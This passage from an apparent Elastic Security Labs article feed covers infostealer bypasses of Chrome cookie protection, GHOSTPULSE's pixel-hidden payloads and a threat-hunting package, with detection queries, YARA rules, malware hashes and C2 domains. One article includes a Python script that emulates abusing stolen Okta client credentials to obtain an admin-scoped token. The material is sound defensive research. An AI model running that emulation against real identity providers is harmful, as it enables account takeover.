activity" /></p> <h2>Chrome Browser Spawned from an Unusual Parent</h2> <p>The STEALC sample that uses ChromeKatz implementation spawns an instance of Google Chrome to load the user default profile, while looking for normal parent executables, it turns out it’s limited to Chrome signed parents and Explorer.exe, the following ES|QL query can be used to find unusual parents:</p> <pre><code class="language-sql">FROM logs-endpoint.events.process-* | where event.category == "process" and event.type == "start" and to_lower(process.name) == "chrome.exe" and process.command_line like "*--profile-directory=Default*" | eval process_parent_path = replace(to_lower(process.parent.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\") | stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process_parent_path | where agents_count == 1 and total_executions <= 10 </code></pre> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image18.png" alt="ES|QL query results for chrome browser spawned from an unusual parent" /></p> <h2>Untrusted Binaries from Chrome Application folder</h2> <p>Since the Chrome elevation service <a href="https://github.com/chromium/chromium/blob/main/chrome/elevation_service/caller_validation.cc#L33-L56">trusts</a> binaries running from the Chrome <code>program files</code> folder, the following queries can be used to hunt for unsigned or untrusted binaries executed or loaded from there:</p> <h3>Unsigned DLLs loaded from google chrome application folder</h3> <pre><code class="language-sql">FROM logs-endpoint.events.library* | where event.category == "library" and event.action == "load" and to_lower(dll.path) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" and not (dll.code_signature.trusted == true) | keep process.executable, dll.path, dll.hash.sha256, agent.id | stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, dll.path, dll.hash.sha256 | where agents_count == 1 and total_executions <= 10 </code></pre> <h3>Unsigned executable launched from google chrome application folder</h3> <pre><code class="language-sql">FROM logs-endpoint.events.process* | where event.category == "library" and event.type == "start" and (to_lower(process.executable) like "c:\\\\program files\\\\google\\\\chrome\\\\application\\\\*" or to_lower(process.executable) like "c:\\\\scoped_dir\\\\program files\\\\google\\\\chrome\\\\application\\\\*") and not (process.code_signature.trusted == true and process.code_signature.subject_name == "Goole LLC") | keep process.executable,process.hash.sha256, agent.id | stats agents_count = COUNT_DISTINCT(agent.id), total_executions = count(*) by process.executable, process.hash.sha256 | where agents_count == 1 and total_executions <= 10 </code></pre> <p><img src="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/image6.png" alt="ES|QL query results for malicious DLL loaded by Chrome" /></p> <h1>Conclusion</h1> <p>Google has raised the bar implementing new security controls to protect cookie data within Chrome. As expected, this has caused malware developers to develop or integrate their own bypasses. We hope Google will continue to innovate to provide stronger protection for user data.</p> <p>Organizations and defenders should consistently monitor for unusual endpoint activity. While these new techniques may be successful, they are also noisy and detectable with the right security instrumentation, processes, and personnel.</p> <h2>Stealer Bypasses and MITRE ATT&CK</h2> <p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p> <h3>Tactics</h3> <p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p> <ul> <li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li> <li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li> <li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li> <li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li> </ul> <h3>Techniques</h3> <p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p> <ul> <li><a href="https://attack.mitre.org/techniques/T1539/">Steal Web Session Cookie</a></li> <li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li> <li><a href="https://attack.mitre.org/techniques/T1555/">Credentials from Password Stores</a></li> <li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li> <li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li> <li><a href="https://attack.mitre.org/techniques/T1559/001/">Inter-Process Communication: Component Object Model</a></li> </ul> <h2>YARA</h2> <p>Elastic Security has created YARA rules to identify this activity.</p> <ul> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Stealc.yar">Windows.Trojan.Stealc</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_PhemedroneStealer.yar">Windows.Infostealer.PhemedroneStealer</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_MetaStealer.yar">Windows.Trojan.MetaStealer</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Xeno.yar">Windows.Trojan.Xeno</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Lumma.yar">Windows.Trojan.Lumma</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Infostealer_Generic.yar">Windows.Infostealer.Generic</a></li> </ul> <h2>Observations</h2> <p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/app-bound_bypass">download</a> in both ECS and STIX format.</p> <p>The following observables were discussed in this research.</p> <table> <thead> <tr> <th>Observable</th> <th>Type</th> <th>Name</th> <th>Reference</th> </tr> </thead> <tbody> <tr> <td>27e4a3627d7df2b22189dd4bebc559ae1986d49a8f4e35980b428fadb66cf23d</td> <td>SHA-256</td> <td>num.exe</td> <td>STEALC</td> </tr> <tr> <td>08d9d4e6489dc5b05a6caa434fc36ad6c1bd8c8eb08888f61cbed094eac6cb37</td> <td>SHA-256</td> <td>HardCoreCrack.exe</td> <td>PHEMEDRONE</td> </tr> <tr> <td>43cb70d31daa43d24e5b063f4309281753176698ad2aba9c557d80cf710f9b1d</td> <td>SHA-256</td> <td>Ranginess.exe</td> <td>METASTEALER</td> </tr> <tr> <td>84033def9ffa70c7b77ce9a7f6008600c0145c28fe5ea0e56dfafd8474fb8176</td> <td>SHA-256</td> <td></td> <td>LUMMA</td> </tr> <tr> <td>b74733d68e95220ab0630a68ddf973b0c959fd421628e639c1b91e465ba9299b</td> <td>SHA-256</td> <td>XenoStealer.exe</td> <td>XENOSTEALER</td> </tr> </tbody> </table> <h2>References</h2> <p>The following were referenced throughout the above research:</p> <ul> <li><a href="https://developer.chrome.com/release-notes/127">https://developer.chrome.com/release-notes/127</a></li> <li><a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html</a></li> </ul> ]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/katz-and-mouse-game/Security Labs Images 2.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[Tricks and Treats: GHOSTPULSE’s new pixel-level deception]]></title> <link>https://www.elastic.co/security-labs/tricks-and-treats</link> <guid>tricks-and-treats</guid> <pubDate>Sat, 19 Oct 2024 00:00:00 GMT</pubDate> <description><![CDATA[The updated GHOSTPULSE malware has evolved to embed malicious data directly within pixel structures, making it harder to detect and requiring new analysis and detection techniques.]]></description> <content:encoded><![CDATA[<h2>Update</h2> <p>This research covers an update to stage 2 of GHOSTPULSE, <a href="https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks#stage-2">originally disclosed</a> by Elastic Security Labs in October 2023.</p> <h2>Key takeaways</h2> <ol> <li>GHOSTPULSE has shifted from using the IDAT chunk of PNG files to embedding its encrypted configuration and payload within the pixel structure.</li> <li>Recent campaigns involve tricking victims with creative social engineering techniques, such as CAPTCHA validations that trigger malicious commands through Windows keyboard shortcuts.</li> <li>Elastic Security has enhanced its YARA rules and updated the configuration extractor tool to detect and analyze both the old and new versions of GHOSTPULSE.</li> </ol> <h2>Preamble</h2> <p>The GHOSTPULSE malware family (also known as HIJACKLOADER or IDATLOADER) has continuously evolved since its discovery in 2023, evading detection with increasingly developed techniques.</p> <p>In its earlier iterations, GHOSTPULSE abused the IDAT chunk of PNG files to hide malicious payloads, as detailed in a <a href="https://www.elastic.co/security-labs/ghostpulse-haunts-victims-using-defense-evasion-bag-o-tricks">previous article from Elastic Security Labs</a>. However, recent analysis has uncovered a significant change in its algorithm. Instead of extracting the payload from the IDAT chunk, the latest version of GHOSTPULSE now parses the pixels of the image to retrieve its configuration and payload. This new approach involves embedding malicious data directly within the pixel structure.</p> <p>In this research publication, we’ll explore this new pixel-based algorithm and compare it with the previous IDAT chunk technique with updated detection rules.</p> <h2>Introduction</h2> <p>Recently, we've observed several campaigns involving LUMMA STEALER using GHOSTPULSE as its loader, a topic also explored by <a href="https://harfanglab.io/insidethelab/hijackloader-abusing-genuine-certificates/">HarfangLab</a>. These campaigns stand out due to their <a href="https://www.secureworks.com/blog/fake-human-verification-prompt-delivers-infostealers">creative social engineering tactics</a>. Victims are tricked into validating a CAPTCHA, but the website instructs them to execute a series of Windows keyboard shortcuts instead of the usual process. These shortcuts trigger a command copied to the clipboard by malicious JavaScript. This leads to a PowerShell script being executed, initiating the infection chain by downloading and executing a GHOSTPULSE payload.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/tricks-and-treats/image1.png" alt="Social engineer lure website" title="Lure website" /></p> <p>In previous versions of GHOSTPULSE, it was delivered as part of a multi-file package. This package typically contained a benign executable, an infected DLL loaded by the executable, and a PNG file storing the encrypted configuration.</p> <p>However, in the latest version, GHOSTPULSE has streamlined its deployment. Now, the entire package consists of a single file—a benign but compromised executable that includes the PNG file within its resources section.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/tricks-and-treats/image2.png" alt="Large embedded PNG file in the resources section" title="Large embedded PNG file in the resources section" /></p> <h2>Technical analysis</h2> <p>The updated second stage of the malware retains much of its previous structure, including using the same hashing algorithm for resolving Windows API names. However, the most significant change is in how the malware now locates its configuration, which holds both the payload and critical instructions for its deployment.</p> <p>The following is a screenshot showing the pseudocode of both implementations:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/tricks-and-treats/image4.png" alt="Pseudocode code comparison between old and new algorithm" title="Pseudocode code comparison between old and new algorithm" /></p> <p>In earlier versions, GHOSTPULSE would parse a PNG file for an encrypted data blob, which was divided into chunks and stored sequentially. The malware’s parsing process was straightforward: it would search for a specific marker within the file—in this case, the IDAT string. Once found, the malware would check for a 4-byte tag that followed the string. The encrypted chunk would be extracted if this tag matched the expected value. This process continues for every occurrence of the IDAT string that comes after until the full encrypted payload is collected.</p> <p>In the new version, the encrypted configuration is stored in the pixels of the image. The malware constructs a byte array by extracting each pixel's <code>RED</code>, <code>GREEN</code>, and <code>BLUE</code> (RGB) values sequentially using standard Windows APIs from the <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-gdi-start">GdiPlus(GDI+)</a> library. Once the byte array is built, the malware searches for the start of a structure that contains the encrypted GHOSTPULSE configuration, including the XOR key needed for decryption. It does this by looping through the byte array in 16-byte blocks. For each block, the first 4 bytes represent a CRC32 hash, and the next 12 bytes are the data to be hashed. The malware computes the CRC32 of the 12 bytes and checks if it matches the hash. If a match is found, it extracts the offset of the encrypted GHOSTPULSE configuration, its size, and the 4-byte XOR key, and then XOR decrypts it.</p> <p>The following diagram provides a visual breakdown of this process:</p> <p><img src="https://www.elastic.co/security-labs/assets/images/tricks-and-treats/image5.png" alt="" /></p> <h2>Updated configuration extractor</h2> <p>Based on these findings, we have updated our configuration extractor to support both versions of GHOSTPULSE. This tool takes a PNG file as input and outputs the embedded payload. You can find the updated tool in our <a href="https://github.com/elastic/labs-releases/tree/main/tools/ghostpulse">labs-releases repository</a>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/tricks-and-treats/image3.png" alt="" /></p> <h2>Detecting GHOSTPULSE with YARA</h2> <p>The original <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_GhostPulse.yar">GHOSTPULSE YARA</a> rule still prevents the final stage of an infection and is built into Elastic Defend. The updated sample can be detected using the following YARA rules and will be included with Elastic Defend in a future release.</p> <p>Elastic Security has updated the GHOSTPULSE YARA rules to identify this activity:</p> <pre><code>rule Windows_Trojan_GHOSTPULSE_1 { meta: author = "Elastic Security" creation_date = "2024-10-15" last_modified = "2024-10-15" os = "Windows" arch = "x86" category_type = "Trojan" family = "GHOSTPULSE" threat_name = "Windows.Trojan.GHOSTPULSE" license = "Elastic License v2" strings: $stage_1 = { 49 63 D0 42 8B 0C 0A 41 03 CA 89 0C 1A 8B 05 ?? ?? ?? ?? 44 03 C0 8B 05 ?? ?? ?? ?? 44 3B C0 } $stage_2 = { 48 89 01 48 8B 84 24 D8 00 00 00 48 8B 4C 24 78 8B 49 0C 89 08 C7 44 24 44 00 00 00 00 } condition: any of them } rule Windows_Trojan_GHOSTPULSE_2 { meta: author = "Elastic Security" creation_date = "2024-10-10" last_modified = "2024-10-10" os = "Windows" arch = "x86" category_type = "Trojan" family = "GHOSTPULSE" threat_name = "Windows.Trojan.GHOSTPULSE" license = "Elastic License v2" strings: $a1 = { 48 83 EC 18 C7 04 24 00 00 00 00 8B 04 24 48 8B 4C 24 20 0F B7 04 41 85 C0 74 0A 8B 04 24 FF C0 89 04 24 EB E6 C7 44 24 08 00 00 00 00 8B 04 24 FF C8 8B C0 48 8B 4C 24 20 0F B7 04 41 83 F8 5C } condition: all of them } </code></pre> <h2>Conclusion</h2> <p>In summary, the GHOSTPULSE malware family has evolved since its release in 2023, with this recent update marking one of the most significant changes.</p> <p>As attackers continue to innovate, defenders must adapt by utilizing updated tools and techniques to mitigate these threats effectively. We are excited to share our newly developed configuration extractor tool, designed to analyze the older and newer versions of GHOSTPULSE. This tool empowers researchers and cybersecurity professionals by providing enhanced capabilities for understanding and combating these evolving threats. As the landscape of cyber threats changes, collaboration, and innovation remain essential for effective protection.</p> <h2>Observations</h2> <p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ghostpulse">download</a> in both ECS and STIX format.</p> <p>The following observables were discussed in this research.</p> <table> <thead> <tr> <th>Observable</th> <th>Type</th> <th>Name</th> <th>Reference</th> </tr> </thead> <tbody> <tr> <td><code>57ebf79c384366162cb0f13de0de4fc1300ebb733584e2d8887505f22f877077</code></td> <td>SHA-256</td> <td><code>Setup.exe</code></td> <td>GHOSTPULSE sample</td> </tr> <tr> <td><code>b54d9db283e6c958697bfc4f97a5dd0ba585bc1d05267569264a2d700f0799ae</code></td> <td>SHA-256</td> <td><code>Setup_light.exe</code></td> <td>GHOSTPULSE sample</td> </tr> <tr> <td><code>winrar01.b-cdn[.]net</code></td> <td>domain-name</td> <td></td> <td>Infrastructure hosting GHOSTPULSE sample</td> </tr> <tr> <td><code>reinforcenh[.]shop</code></td> <td>domain-name</td> <td></td> <td>LUMMASTEALER C2</td> </tr> <tr> <td><code>stogeneratmns[.]shop</code></td> <td>domain-name</td> <td></td> <td>LUMMASTEALER C2</td> </tr> <tr> <td><code>fragnantbui[.]shop</code></td> <td>domain-name</td> <td></td> <td>LUMMASTEALER C2</td> </tr> <tr> <td><code>drawzhotdog[.]shop</code></td> <td>domain-name</td> <td></td> <td>LUMMASTEALER C2</td> </tr> <tr> <td><code>vozmeatillu[.]shop</code></td> <td>domain-name</td> <td></td> <td>LUMMASTEALER C2</td> </tr> <tr> <td><code>offensivedzvju[.]shop</code></td> <td>domain-name</td> <td></td> <td>LUMMASTEALER C2</td> </tr> <tr> <td><code>ghostreedmnu[.]shop</code></td> <td>domain-name</td> <td></td> <td>LUMMASTEALER C2</td> </tr> <tr> <td><code>gutterydhowi[.]shop</code></td> <td>domain-name</td> <td></td> <td>LUMMASTEALER C2</td> </tr> <tr> <td><code>riderratttinow[.]shop</code></td> <td>domain-name</td> <td></td> <td>LUMMASTEALER C2</td> </tr> </tbody> </table>]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/tricks-and-treats/tricks-and-treats.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[Elevate Your Threat Hunting with Elastic]]></title> <link>https://www.elastic.co/security-labs/elevate-your-threat-hunting</link> <guid>elevate-your-threat-hunting</guid> <pubDate>Fri, 18 Oct 2024 00:00:00 GMT</pubDate> <description><![CDATA[Elastic is releasing a threat hunting package designed to aid defenders with proactive detection queries to identify actor-agnostic intrusions.]]></description> <content:encoded><![CDATA[<p>We are excited to announce a new resource in the Elastic <a href="https://github.com/elastic/detection-rules">Detection Rules</a> repository: a collection of hunting queries powered by various Elastic query languages!</p> <p>These hunting queries can be found under the <a href="https://github.com/elastic/detection-rules/tree/main/hunting">Hunting</a> package. This initiative is designed to empower our community with specialized threat hunting queries and resources across multiple platforms, complementing our robust SIEM and EDR ruleset. These are developed to be consistent with the paradigms and methodologies we discuss in the Elastic <a href="https://www.elastic.co/security/threat-hunting">Threat Hunting guide</a>.</p> <h2>Why Threat Hunting?</h2> <p>Threat hunting is a proactive approach to security that involves searching for hidden threats that evade conventional detection solutions while assuming breach. At Elastic, we recognize the importance of threat hunting in strengthening security defenses and are committed to facilitating this critical activity.</p> <p>While we commit a substantial amount of time and effort towards building out resilient detections, we understand that alerting on malicious behavior is only one part of an effective overall strategy. Threat hunting moves the needle to the left, allowing for a more proactive approach to understanding and securing the environment.</p> <p>The idea is that the rules and hunt queries will supplement each other in many ways. Most hunts also serve as great pivot points once an alert has triggered, as a powerful means to ascertain related details and paint a full picture. They are just as useful when it comes to triaging as proactively hunting.</p> <p>Additionally, we often find ourselves writing resilient and robust logic that just doesn’t meet the criteria for a rule, whether it is too noisy or not specific enough. This will serve as an additional means to preserve the value of these research outcomes in the form of these queries.</p> <h2>What We Are Providing</h2> <p>The new Hunting package provides a diverse range of hunting queries targeting all the same environments as our rules do, and potentially even more, including:</p> <ul> <li>Endpoints (Windows, Linux, macOS)</li> <li>Cloud (CSPs, SaaS providers, etc.)</li> <li>Network</li> <li>Large Language Models (LLM)</li> <li>Any other Elastic <a href="https://www.elastic.co/integrations">integration</a> or datasource that adds value</li> </ul> <p>These queries are crafted by our security experts to help you gather initial data that is required to test your hypothesis during your hunts. These queries also include names and descriptions that may be a starting point for your hunting efforts as well. All of this valuable information is then stored in an index file (both YAML and Markdown) for management, ease-of-use and centralizing our collection of hunting queries.</p> <h3>Hunting Package</h3> <p>The Hunting package has also been made to be its own module within Detection Rules with a few simple commands for easy management and searching throughout the catalogue of hunting queries. Our goal is not to provide an out-of-the-box hunting tool, but rather a foundation for programmatically managing and eventually leveraging these hunting queries.</p> <p>Existing Commands:</p> <p><strong>Generate Markdown</strong> - Load TOML files or path of choice and convert to Markdown representation in respective locations. <img src="https://www.elastic.co/security-labs/assets/images/elevate-your-threat-hunting/image6.png" alt="" /></p> <p><strong>Refresh Index</strong> - Refresh indexes from the collection of queries, both YAML and Markdown. <img src="https://www.elastic.co/security-labs/assets/images/elevate-your-threat-hunting/image4.png" alt="" /></p> <p><strong>Search</strong> - Search for hunting queries based on MITRE tactic, technique or subtechnique IDs. Also includes the ability to search per data source. <img src="https://www.elastic.co/security-labs/assets/images/elevate-your-threat-hunting/image5.png" alt="" /></p> <p><strong>Run Query</strong> - Run query of choice against a particular stack to identify hits (requires pre-auth). Generates a search link for easy pivot. <img src="https://www.elastic.co/security-labs/assets/images/elevate-your-threat-hunting/image8.png" alt="" /></p> <p><strong>View Hunt</strong>- View a hunting file in TOML or JSON format. <img src="https://www.elastic.co/security-labs/assets/images/elevate-your-threat-hunting/image7.png" alt="" /></p> <p><strong>Hunt Summary</strong>- Generate count statistics based on breakdown of integration, platform, or language <img src="https://www.elastic.co/security-labs/assets/images/elevate-your-threat-hunting/image2.png" alt="" /></p> <h2>Benefits of these Hunt Queries</h2> <p>Each hunting query will be saved in its respective TOML file for programmatic use, but also have a replicated markdown file that serves as a quick reference for manual tasks or review. We understand that while automation is crucial to hunting maturity, often hunters may want a quick and easy copy-paste job to reveal events of interest. Our collection of hunt queries and CLI options offers several advantages to both novice and experienced threat hunters. Each query in the library is designed to serve as a powerful tool for detecting hidden threats, as well as offering additional layers of investigation during incident response.</p> <ul> <li>Programmatic and Manual Flexibility: Each query is structured in a standardized TOML format for programmatic use, but also offers a Markdown version for those who prefer manual interaction.</li> <li>Scalable queries: Our hunt queries are designed with scalability in mind, leveraging the power of Elastic’s versatile and latest query languages such as ES|QL. This scalability ensures that you can continuously adapt your hunting efforts as your organization’s infrastructure grows, maintaining high levels of visibility and security.</li> <li>Integration with Elastic’s Product: These queries integrate with the Elastic Stack and our automation enables you to test quickly, enabling you to pivot through Elastic’s Security UI for deeper analysis.</li> <li>Diverse Query Types Available: Out hunt queries support a wide variety of query languages, including KQL, EQL, ES|QL, OsQuery, and YARA, making them adaptable across different data sources and environments. Whether hunting across endpoints, cloud environments, or specific integrations like Okta or LLMs, users can leverage the right language for their unique needs.</li> <li>Extended Coverage for Elastic Prebuilt Rules: While Elastic’s prebuilt detection rules offer robust coverage, there are always scenarios where vendor detection logic may not fully meet operational needs due to the specific environment or nature of the threat. These hunting queries help to fill in those gaps by offering broader and more nuanced coveraged, particularly for behaviors that don’t nearly fit into rule-based detections.</li> <li>Stepping stone for hunt initialization or pivoting: These queries serve as an initial approach to kickstart investigations or pivot from initial findings. Whether used proactively to identify potential threats or reactively to expand upon triggered alerts, these queries can provide additional context and insights based on threat hunter hypothesis and workflows.</li> <li>MITRE ATT&CK Alignment: Every hunt query includes MITRE ATT&CK mappings to provide contextual insight and help prioritize the investigation of threats according to threat behaviors.</li> <li>Community and Maintenance: This hunting module lives within the broader Elastic Detection Rules repository, ensuring continual updates alongside our prebuilt rules. Community contributions also enable our users to collaborate and expand unique ways to hunt.</li> </ul> <p>As we understand the fast-paced nature of hunting and need for automation, we have included searching capabilities and a run option to quickly identify if you have matching results from any hunting queries in this library.</p> <h2>Details of Each Hunting Analytic</h2> <p>Each hunting search query in our repository includes the following details to maximize its effectiveness and ease of use:</p> <ul> <li><strong>Data Source or Integration</strong>: The origin of the data utilized in the hunt.</li> <li><strong>Name</strong>: A descriptive title for the hunting query.</li> <li><strong>Hypothesis</strong>: The underlying assumption or threat scenario the hunt aims to investigate. This is representated as the description.</li> <li><strong>Query(s)</strong>: Provided in one of several formats, including ES|QL, EQL, KQL, or OsQuery.</li> <li><strong>Notes</strong>: Additional information on how to pivot within the data, key indicators to watch for, and other valuable insights.</li> <li><strong>References</strong>: Links to relevant resources and documentation that support the hunt.</li> <li><strong>Mapping to MITRE ATT&CK</strong>: How the hunt correlates to known tactics, techniques, and procedures in the MITRE ATT&CK framework.</li> </ul> <p><img src="https://www.elastic.co/security-labs/assets/images/elevate-your-threat-hunting/image9.png" alt="" /></p> <p>For those who prefer a more hands-on approach, we also provide TOML files for programmatic consumption. Additionally, we offer an easy converter to Markdown for users who prefer to manually copy and paste the hunts into their systems.</p> <h3>Hunting Query Creation Example:</h3> <p>In the following example, we will explore a basic hunting cycle for the purpose of creating a new hunting query that we want to use in later hunting cycles. Note that this is an oversimplified hunting cycle that may require several more steps in a real-world application.</p> <p><strong>Hypothesis</strong>: We assume that a threat adversary (TA) is targeting identity providers (IdPs), specifically Okta, by compromising cloud accounts by identifying runtime instances in CI/CD pipelines that use client credentials for authentication with Okta’s API. Their goal is to identify unsecure credentials, take these and obtain an access token whose assumed credentials are tied to an Okta administrator.</p> <p><strong>Evidence</strong>: We suspect that in order to identify evidence of this, we need Okta system logs that report API activity, specifically any public client app sending access token requests where the grant type provided are client credentials. We also suspect that because the TA is unaware of the mapped OAuth scopes for this application, that when the access token request is sent, it may fail due to the incorrect OAuth scopes being explicitly sent. We also know that demonstrating proof-of-possession (DPoP) is not required for our client applications during authentication workflow because doing so would be disruptive to operations so we prioritize operability over security.</p> <p>Below is the python code used to emulate the behavior of attempting to get an access token with stolen client credentials where the scope is <code>okta.trustedOrigins.manage</code> so the actor can add a new cross-origins (CORS) policy and route client authentication through their own server.</p> <pre><code>import requests okta_domain = "TARGET_DOMAIN" client_id = "STOLEN_CLIENT_ID" client_secret = "STOLEN_CLIENT_CREDENTIALS" # Prepare the request auth_url = f"{okta_domain}/oauth2/default/v1/token" auth_data = { "grant_type": "client_credentials", "scope": "okta.trustedOrigins.manage" } auth_headers = { "Accept": "application/json", "Content-Type": "application/x-www-form-urlencoded", "Authorization": f"Basic {client_id}:{client_secret}" } # Make the request response = requests.post(auth_url, headers=auth_headers, data=auth_data) # Handle the response if response.ok: token = response.json().get("access_token") print(f"Token: {token}") else: print(f"Error: {response.text}") </code></pre> <p>Following this behavior, we formulate a query as such for hunting where we filter out some known client applications like DataDog and Elastic’s Okta integrations.</p> <pre><code>from logs-okta.system* | where @timestamp > NOW() - 7 day | where event.dataset == "okta.system" // filter on failed access token grant requests where source is a public client app and event.action == "app.oauth2.as.token.grant" and okta.actor.type == "PublicClientApp" and okta.outcome.result == "FAILURE" // filter out known Elastic and Datadog actors and not ( okta.actor.display_name LIKE "Elastic%" or okta.actor.display_name LIKE "Datadog%" ) // filter for scopes that are not implicitly granted and okta.outcome.reason == "no_matching_scope" </code></pre> <p>As shown below, we identify matching results and begin to pivot and dive deeper into this investigation, eventually involving incident response (IR) and escalating appropriately.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/elevate-your-threat-hunting/image10.png" alt="" /></p> <p>During our after actions report (AAR), we take note of the query that helped identify these compromised credentials and decide to preserve this as a hunting query in our forked Detection Rules repository. It doesn’t quite make sense to create a detection rule based on the fidelity of this and knowing the constant development work we do with custom applications that interact with the Okta APIs, therefore we reserve it as a hunting query.</p> <p>Creating a new hunting query TOML file in the <code>hunting/okta/queries</code> package, we add the following information:</p> <pre><code>author = "EvilC0rp Defenders" description = """Long Description of Hunt Intentions""" integration = ["okta"] uuid = "0b936024-71d9-11ef-a9be-f661ea17fbcc" name = "Failed OAuth Access Token Retrieval via Public Client App" language = ["ES|QL"] license = "Apache License 2.0" notes = [Array of useful notes from our investigation] mitre = ['T1550.001'] query = [Our query as shown above] </code></pre> <p>With the file saved we run <code>python -m hunting generate-markdown FILEPATH</code> to generate the markdown version of it in <code>hunting/okta/docs/</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/elevate-your-threat-hunting/image1.png" alt="" /></p> <p>Once saved, we can view our new hunting content by using the <code>view-rule</code> command or search for it by running the <code>search</code> command, specifying Okta as the data source and <a href="https://attack.mitre.org/techniques/T1550/001/">T1550.001</a> as the subtechnique we are looking for.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/elevate-your-threat-hunting/image7.png" alt="" /></p> <p><img src="https://www.elastic.co/security-labs/assets/images/elevate-your-threat-hunting/image5.png" alt="" /></p> <p>Last but not least, we can check that the query runs successfully by using the <code>run-query</code> command as long as we save a <code>.detection-rules-cfg-yaml</code> file with our Elasticsearch authentication details, which will tell us if we have matching results or not.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/elevate-your-threat-hunting/image8.png" alt="" /></p> <p>Now we can refresh our hunting indexes with the <code>refresh-index</code> command and ensure that our markdown file has been created.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/elevate-your-threat-hunting/image11.png" alt="" /></p> <h2>How We Plan to Expand</h2> <p>Our aim is to continually enhance the Hunting package with additional queries, covering an even wider array of threat scenarios. We will update this resource based on:</p> <ul> <li><strong>Emerging Threats</strong>: Developing new queries as new types of cyber threats arise.</li> <li><strong>Community Feedbac</strong>k: Incorporating suggestions and improvements proposed by our community.</li> <li><strong>Fill Gaps Where Traditional alerting Fails</strong>: While we understand the power of our advanced SIEM and EDR, we also understand how some situations favor hunting instead.</li> <li><strong>Longevity and Maintenance</strong>: Our hunting package lives within the very same repository we actively manage our out-of-the-box (OOTB) prebuilt detection rules for the Elastic SIEM. As a result, we plan to routinely add and update our hunting resources.</li> <li><strong>New Features</strong>: Develop new features and commands to aid users with the repository of their hunting efforts.</li> </ul> <p>Our expansion would not be complete without sharing to the rest of the community in an effort to provide value wherever possible. The adoption of these resources or even paradigms surrounding threat scenarios is an important effort by our team to help hunting efforts.</p> <p>Lastly, we acknowledge and applaud the existing hunting efforts done or in-progress by our industry peers and community. We also acknowledge that maintaining such a package of hunting analytics and/or queries requires consistency and careful planning. Thus this package will receive continued support and additional hunting queries added over time, often aligning with our detection research efforts or community submissions!</p> <h2>Get Involved</h2> <p>Explore the Hunting resources, utilize the queries and python package, participate in our community discussion forums to share your experiences and contribute to the evolution of this resource. Your feedback is crucial for us to refine and expand our offerings.</p> <ul> <li><a href="https://elasticstack.slack.com/archives/C016E72DWDS">Detection Rules Community Slack Channel</a></li> <li>Hunting “<a href="https://github.com/elastic/detection-rules/tree/main/hunting">Getting Started</a>” Doc</li> <li><a href="https://twitter.com/elasticseclabs">Elastic Security Labs</a> on X</li> </ul> <h2>Conclusion</h2> <p>With the expansion of these hunting resources, Elastic reaffirms its commitment to advancing cybersecurity defenses. This resource is designed for both experienced threat hunters and those new to the field, providing the tools needed to detect and mitigate sophisticated cyber threats effectively.</p> <p>Stay tuned for more updates, and happy hunting!</p>]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/elevate-your-threat-hunting/elevate-your-threat-hunting.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[Elastic publishes 2024 Global Threat Report]]></title> <link>https://www.elastic.co/security-labs/elastic-publishes-2024-gtr</link> <guid>elastic-publishes-2024-gtr</guid> <pubDate>Tue, 01 Oct 2024 00:00:00 GMT</pubDate> <description><![CDATA[Elastic Security Labs has released the 2024 Elastic Global Threat Report, surfacing the most pressing threats, trends, and recommendations to help keep organizations safe for the upcoming year.]]></description> <content:encoded><![CDATA[<p><em>Elastic Security Labs discovers that threat actors are taking advantage of readily available and commonly abused security tools, and misconfigured environments.</em></p> <p>Elastic Security Labs has released the <a href="http://www.elastic.co/blog/elastic-global-threat-2024">2024 Elastic Global Threat Report</a>, surfacing the most pressing threats, trends, and recommendations to help keep organizations safe for the upcoming year. Threat actors are finding success from the use of offensive security tools (OSTs), 